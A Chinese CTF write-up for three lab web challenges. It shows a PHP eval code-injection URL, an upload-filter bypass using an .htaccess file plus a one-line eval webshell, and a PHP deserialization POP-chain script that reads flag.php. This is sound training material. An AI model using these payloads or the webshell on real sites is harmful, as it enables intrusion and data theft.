实验室寒假ctf考核wp
- ctf
- 2023-08-19
- 1486热度
- 0评论
web1
dirsearch先目录扫描
然后访问子目录,直到访问robots.txt,页面不一样了

继续访问,PHP特性

根据上面,a=a和数组绕过,传参绕过,?code=eval($_GET[1]);&1=echo tac flag.php ;

web2
后缀名不能有ph! 对于文件后缀名的限制,无法绕过这里
上传类型也太露骨了吧! 对 Content-Type 的限制,修改为 image/jpeg 即可绕过

只有文件名那里无法直接绕过,所以这里就可以利用上传一个 .htaccess 文件将别的后缀名文件内容解
析为php程序
内容为:
AddType application/x-httpd-php .mochu
再上传shell
可以使用<script language="php">eval($_POST['mochu7']);</script>绕过

传参mochu7=var_dump(scandir('/'));

找到目录,直接

web3
反序列化

直接看到include()函数,突破口
同时有以下魔术
__construct()//当一个对象创建时被调用
__toString() //当一个对象被当作一个字符串使用__wakeup()//将在反序列化之后立即被调用
__get()//读取不可访问属性的值时调用
invoke()//当尝试以调用函数的方式调用一个对象时,invoke()方法会被自动调用
调用include(),先ikun,将aaa赋值为getflag,触发invoke需要当类对象被当做函数调用时触发,同时
aaa所在的方法中有get,而当我们访问一个类中不存在的属性时,才能触发该方法,因此转到lanqiu类
中接下来看lanqiu类,其中wakeup方法没多大用处,只是对source做了一个限制,其中的tostring方
法,与echo配合即可调用,这时将kun赋值为trythis,source赋值为lanqiu,即可成功调用get方
法,最后将eval赋值为 $eval="php://filter/read=convert.base64-encode/resource=flag.php";就
可以访问到flag文件
pop
<?php
class get_flag {
protected $eval="php://filter/read=convert.base64-
encode/resource=flag.php";
}
class lanqiu{
public $source;
public $kun;
public function __construct(){
$this->kun = new Try_this();
}
}
class Try_this{
public $aaa;
}
$a = new lanqiu();
$a->source = new lanqiu();
$a->source->kun->aaa= new get_flag();
echo urlencode(serialize($a));
?>

然后base64解密就行

